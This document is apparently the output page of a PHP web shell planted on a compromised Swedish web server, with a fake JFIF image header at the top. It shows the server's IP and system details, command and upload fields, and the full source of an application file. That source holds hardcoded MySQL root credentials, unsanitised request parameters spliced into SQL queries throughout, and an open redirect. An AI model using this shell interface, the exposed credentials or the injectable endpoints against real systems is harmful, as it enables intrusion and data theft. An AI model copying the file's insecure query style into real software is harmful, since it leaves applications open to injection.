????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/project/updateStatus.php
<?php

 	session_start();

	$headers  = 'MIME-Version: 1.0' . "\r\n";
				$headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; 
				$headers .= "Date: ".date("r")."\r\n";
				$headers .= "From: astacusproject@gmail.com \r\n";
				$headers .= "Reply-To:  astacusproject@gmail.com\r\n";
				$headers .= "Return-Path:  astacusproject@gmail.com\r\n";
				
				
				
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];
	if($_GET['ID'] == "ProjectStatusId"){
	
		 $sql = "UPDATE Project SET ProjectStatusId = ".$_GET['statusId'].", statusChangedDate = '".date("Y-m-d H:i:s")."' where ProjectId = ".$_GET['projectId']." ";
	  $result = mysql_query($sql);
	  
	   $sql = "INSERT INTO ProjectStatusLog VALUES(null,".$SystemUserId.",".$_GET['projectId'].",".$_GET['statusId'].",'".date("Y-m-d H:i:s")."');";
	  $result = mysql_query($sql);
	  
	  $sql = "SELECT * FROM ProjectStatus WHERE ProjectStatusId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$Name = $row['ProjectStatusDisplayValue'];
			$Grouping = $row['Grouping'];
		 }
		 
		if($Grouping == "Project flow"){
			 $ProjectPhaseId = 2;
		}else if($Grouping == "Preproject"){
		 $ProjectPhaseId = 1;
		}else if($Grouping == "Admin"){
			$ProjectPhaseId = 3;
		}else {
			$ProjectPhaseId = 0;
		}
		 
		  $sql = "UPDATE Project SET ProjectPhaseId = '$ProjectPhaseId' where ProjectId = ".$_GET['projectId']." ";
	  $result = mysql_query($sql);
		 
		 	   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The project status was changed to: ".$Name);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
		//echo($sql);
		$sql = "";
	
	}else if($_GET['ID'] == "JobTypeId"){
		
		
	 $sql = "SELECT * FROM JobType WHERE JobTypeId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$JobTypeDisplayValue = $row['JobTypeDisplayValue'];
			
	 	 }
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The job type was changed to: ".$JobTypeDisplayValue);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
		
		
		 $sql = "UPDATE Project SET JobTypeId = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
	
			mysql_query($sql);
		if($_GET['statusId'] == "1"){
			$y = "20".date("y");
	  		$d = date("W");
			
			$sql = "SELECT * FROM Sales Where Username = '".$_GET['ProjectManagerName']."'";
			$result = mysql_query($sql);
		//echo($sql );
			$FOUND = 0;
			while ($row = mysql_fetch_assoc($result)){ 
	  		$FOUND = 1;
		
	 	 	}
			if($FOUND  == 1){
				$sql = "INSERT INTO Sales VALUES(null, '".$_GET['ProjectManagerName']."','".$y.$d."',0,0,0,1)";
				mysql_query($sql);
				$sql = "select * from Sales";
			}
		}
	//
	}else if($_GET['ID'] == "ProjectPhaseId"){	
	
	
	 $sql = "SELECT * FROM ProjectPhase WHERE ProjectPhaseId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$ProjectPhaseName = $row['ProjectPhaseName'];
			
	 	 }
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The phase was changed to: ".$ProjectPhaseName);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);

	 $sql = "UPDATE Project SET ProjectPhaseId = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
	
	}else if($_GET['ID'] == "ProductionManagerId"){	
	
	
	 $sql = "SELECT * FROM SystemUser WHERE SystemUserId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$Username = $row['Username'];
			
	 	 }
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The production manager was changed to: ".$Username);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);

	 $sql = "UPDATE Project SET SystemUserIdProductionManager = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
	
	
			
				
				
				
	}else if($_GET['ID'] == "BallId"){	
	 
	 
	 
	 $sql = "SELECT * FROM SystemUser WHERE SystemUserId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$Username = $row['Username'];
			
	 	 }
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The sales responsible was changed to: ".$Username);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
	
	
		mail($Username, "You are sales responsible in project: ".$_GET['projectId'], nl2br("The Sales responsible was changed to: ".$Username), $headers);
	
	 $sql = "DELETE FROM ICADBalls WHERE ProjectId = ".$_GET['projectId']." ";
		 mysql_query($sql);
	 $sql = "INSERT INTO ICADBalls VALUES(NULL,".$_GET['projectId'].",".$_GET['statusId'].",'".date("Y-m-d")."') ";
		 
	
	}else if($_GET['ID'] == "ProjectTypeId"){	
	
	
	
	 $sql = "SELECT * FROM ProjectType WHERE ProjectTypeId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$ProjectTypeDisplayValue = $row['ProjectTypeDisplayValue'];
			
	 	 }
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The project type was updated to: ".$ProjectTypeDisplayValue);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);

	
	 $sql = "UPDATE Project SET ProjectTypeId = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
	
	
	}else if($_GET['ID'] == "CountryId"){	
	 $sql = "UPDATE Project SET CountryId = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
	
	
	
	}else if($_GET['ID'] == "ProjectManagerId"){
		 $sql = "DELETE FROM ProjectManager WHERE ProjectId = ".$_GET['projectId']." ";
		 mysql_query($sql);
		 $sql = "INSERT INTO ProjectManager VALUES(NULL,".$_GET['statusId'].",".$_GET['projectId'].") ";
		 mysql_query($sql);
		 $sql = "INSERT INTO ProjectFavorite VALUES(NULL,".$_GET['statusId'].",".$_GET['projectId'].") ";
		 
		 
		 $sql = "SELECT * FROM SystemUser WHERE SystemUserId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$Name = $row['Name'];
			$Username = $row['Username'];
			
	 	 }
		 
		 
		  $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The Application Engineer has been updated to: ".$Name." (".$Username.")");
		$prio = "4";
		$sql = "INSERT IGNORE INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
		
		mail($Username,"You are Application Engineer in project: ".$_GET['projectId'], nl2br("The Application Engineer was changed to: ".$Username), $headers);
				
				
		$sql = "";
		 
	}else if($_GET['ID'] == "SystemUserId"){
		
		
		
		$sql = "SELECT * FROM SystemUser WHERE SystemUserId = ".$_GET['statusId'];
	    $result = mysql_query($sql);
	  
	 	 while ($row = mysql_fetch_assoc($result)){ 
	  		$Name = $row['Name'];
			$Username = $row['Username'];
			$Phone = $row['Phone'];
	 	 }
		 
		 
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The client contact person info was updated to: ".$Name.", ".$Username.", ". $Phone);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);


		 
		  $sql = "UPDATE Project SET clientProjectManagerName = '".$Name."', clientProjectManagerEmail = '".$Username."', clientProjectManagerTelephone = '".$Phone."' where ProjectId = ".$_GET['projectId']." ";
		
	}else if($_GET['ID'] == "orderConfirmationSent"){
		
		
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The order confirmation was sent: ".$LogDate);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
	
	
		 $sql = "UPDATE Project SET orderConfirmationSent = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
		 
	
		
	}else if($_GET['ID'] == "InvoiceSent"){
		
			   $LogDate = date("Y-m-d H:i:s");  
		$ProjectId = $_GET['projectId'];
		
		$SystemUserId = $_SESSION['ASTACUS_SSO_INFO'][0];

		$Subject = "Automatic function";
		$Message = nl2br ("The invoice was sent: ".$LogDate);
		$prio = "4";
		$sql = "INSERT INTO ProjectLog VALUES (NULL,'$LogDate',$ProjectId,$SystemUserId,'$Message',$prio,'$Subject');";
		$result = mysql_query($sql);
	$sql = "";
	
		 $sql = "UPDATE Project SET InvoiceSent = ".$_GET['statusId']." where ProjectId = ".$_GET['projectId']." ";
		
	}
	
	
	
	
	
	 $result = mysql_query($sql);

	header("Location: index.php?".str_replace("EE","&",$_GET['params']));

?>

Youez - 2016 - github.com/yon3zu
LinuXploit